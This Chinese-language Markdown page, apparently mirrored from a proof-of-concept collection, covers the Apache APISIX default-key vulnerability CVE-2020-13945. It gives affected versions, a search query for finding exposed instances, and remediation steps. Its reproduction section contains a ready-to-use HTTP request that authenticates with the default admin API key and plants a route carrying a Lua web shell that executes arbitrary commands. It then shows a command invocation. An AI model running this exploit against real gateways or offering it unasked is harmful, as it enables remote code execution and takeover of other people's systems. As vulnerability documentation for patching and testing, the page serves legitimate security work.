mirror of
https://github.com/wooluo/POC00.git
synced 2026-03-17 20:44:53 +08:00
62 lines
2.3 KiB
Markdown
62 lines
2.3 KiB
Markdown
# Apache APISIX 默认密钥漏洞(CVE-2020-13945)
|
||
|
||
# 一、漏洞简介
|
||
Apache APISIX 是一个动态、实时、高性能的 API 网关,基于 Nginx 网络库和 etcd 实现, 提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。当使用者开启了Admin API,没有配置相应的IP访问策略,且没有修改配置文件Token的情况下,通过攻击管理员接口,即可使用script参数来插入任意LUA脚本并执行。
|
||
|
||
# 二、影响版本
|
||
+ Apache APISIX 1.2—1.5
|
||
|
||
# 三、资产测绘
|
||
+ hunter`app.name="APISIX"`
|
||
+ 特征
|
||
|
||

|
||
|
||

|
||
|
||
# 四、漏洞复现
|
||
利用默认Token增加一个恶意的router,其中包含恶意LUA脚本:
|
||
|
||
```plain
|
||
POST /apisix/admin/routes HTTP/1.1
|
||
Host: xx.xx.xx.xx
|
||
Accept-Encoding: gzip, deflate
|
||
Accept: */*
|
||
Accept-Language: en
|
||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
|
||
Connection: close
|
||
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
|
||
Content-Type: application/json
|
||
Content-Length: 406
|
||
|
||
{
|
||
"uri": "/attack",
|
||
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M",
|
||
"upstream": {
|
||
"type": "roundrobin",
|
||
"nodes": {
|
||
"example.com:80": 1
|
||
}
|
||
}
|
||
}
|
||
```
|
||
|
||
访问刚才添加的router,就可以通过cmd参数执行任意命令
|
||
|
||
```plain
|
||
/attack?cmd=id
|
||
```
|
||
|
||

|
||
|
||
# 五、修复建议
|
||
1. 修改Apache APISIX配置文件中 conf/config.yaml 的admin_key,禁止使用默认Token
|
||
|
||
2. 若非必要,关闭Apache APISIX Admin API功能,或者增加IP访问限制。
|
||
|
||
3. 升级Apache APISIX 至最新版本。
|
||
|
||
|
||
|
||
> 更新: 2024-02-29 23:57:33
|
||
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/sz75upt9woezyc2g> |